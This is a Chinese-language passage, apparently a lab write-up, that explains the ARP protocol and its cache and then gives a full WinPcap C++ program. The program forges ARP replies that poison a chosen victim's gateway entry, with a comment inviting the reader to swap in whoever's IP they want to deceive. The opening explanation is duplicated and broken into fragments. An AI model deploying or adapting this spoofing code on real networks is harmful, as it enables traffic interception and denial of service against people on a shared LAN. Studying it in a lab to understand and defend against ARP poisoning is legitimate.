1.ARP
协议的工作原理
Ethernet
设备
(比如网卡)
有自己全球唯一的
MAC
地址,
它们以
MAC
地址来传输
Ethernet
数据包,但他们却不能识别
IP
包的
IP
地址。所以,
在
Ethernet
中进行
IP
通信时就需要一个协议来建立
IP
地址和
MAC
地址的
对应关系,这个协议就是
ARP
协议。
ARP
的基本运行过程是:
1
)
主机
A
希望发行数据分组给主机
B
,但不知道
B
的物理地址。
2
)
A
发送广播报文,要求
B
主机用他的物理地址来响应。
1.ARP
协议的工作原理
Ethernet
设备
(比如网卡)
有自己全球唯一的
MAC
地址,
它们以
MAC
地址来传输
Ethernet
数据包,但他们却不能识别
IP
包的
IP
地址。所以,
在
Ethernet
中进行
IP
通信时就需要一个协议来建立
IP
地址和
MAC
地址的
对应关系,这个协议就是
ARP
协议。
ARP
的基本运行过程是:
1
)
主机
A
希望发行数据分组给主机
B
,但不知道
B
的物理地址。
2
)
A
发送广播报文,要求
B
主机用他的物理地址来响应。
ARP的基本运行过程是:
1) 主机A希望发行数据分组给主机B,但不知道B的物理地址。
2) A发送广播报文,要求B主机用他的物理地址来响应。
3) 网站上所有主机都接收到这个分组。
4) B识别出自己的IP地址,发送给应答报文,告诉A自己的物理地址。
但是,所有的源节结点在发送任何一个分组或者连续向同一个目的主机发送分组时,都要通过ARP服务去获取目的物理地址,他的工作效率肯定很低。为了克服这个缺点,要对ARP做些改进。
ARP改进的一个重要方法是,在使用ARP的主机上保留一个专用的高速缓存,用于存放最近的IP地址和物理地址的绑定,在发送ARP请求时先看看这个高速缓存。 例如,在命令窗口中输入:arp-a
得到: Internet Address Physical Address Type 192.168.1.250 00-30-6e-07-e6-de dynamic z这就是该计算机里存储的IP地址与MAC地址的对应关系,dynamic 表示临时存储在ARP缓存中的条目,过一段时间系统就会自动删除。
这样,当计算机要和另一台计算机192.168.1.19通信时,他会先检 查ARP缓存,查找是否与192.168.1.19对应的ARP条目。如果没找到,他就会发送ARP请求包,广播询问与192.168.1.19对应的MAC地址。192.168.1.19发现ARP请求包中的IP一样,就会发送ARP应答分组,通知自己IP地址与MAC地址的对应关系。于是,计算机的ARP缓存就会相应刷新,增加以下信息:192.168.1.19 00-40-05-42-84-f4 dynamic 。
运行代码如下
// WinpCap Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <pcap.h>
int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t * allAdapters;//适配器列表
pcap_if_t * adapter;
pcap_t * adapterHandle;//适配器句柄
u_char packet[ 1020 ]; //待发送的数据封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区
if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//检索机器连接的所有网络适配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}
if( allAdapters == NULL )
{//不存在任何适配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}
int crtAdapter = 0;
for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍历输入适配器信息(名称和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );
//选择适配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );
if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
pcap_freealldevs( allAdapters );// 释放适配器列表
return -1;
}
adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;
// 打开指定适配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定适配器打开失败
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 释放适配器列表
pcap_freealldevs( allAdapters );
return -1;
}
pcap_freealldevs( allAdapters );//释放适配器列表
//创建数据封包
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; // 被骗计算机的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; // 自己的mac地址
packet[12] = 0x08; packet[13] = 0x06; // 以太网封装arp协议(不用动)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太网
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP协议
packet[18] = 0x06; // arp第3字段:代表第二层地址的长度
packet[19] = 0x04; // arp第4字段:代表第三层地址的长度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的网关地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 网关的ip,这里是172.28.15.254(在本实验室不用改)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x6c; packet[37] = 0x58; // 被骗计算机的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x13; // 被骗计算机的IP地址,这里是172.28.15.19 (想骗谁,这里就改成谁的IP)
//发送数据封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}
system( "PAUSE" );
return 0;
}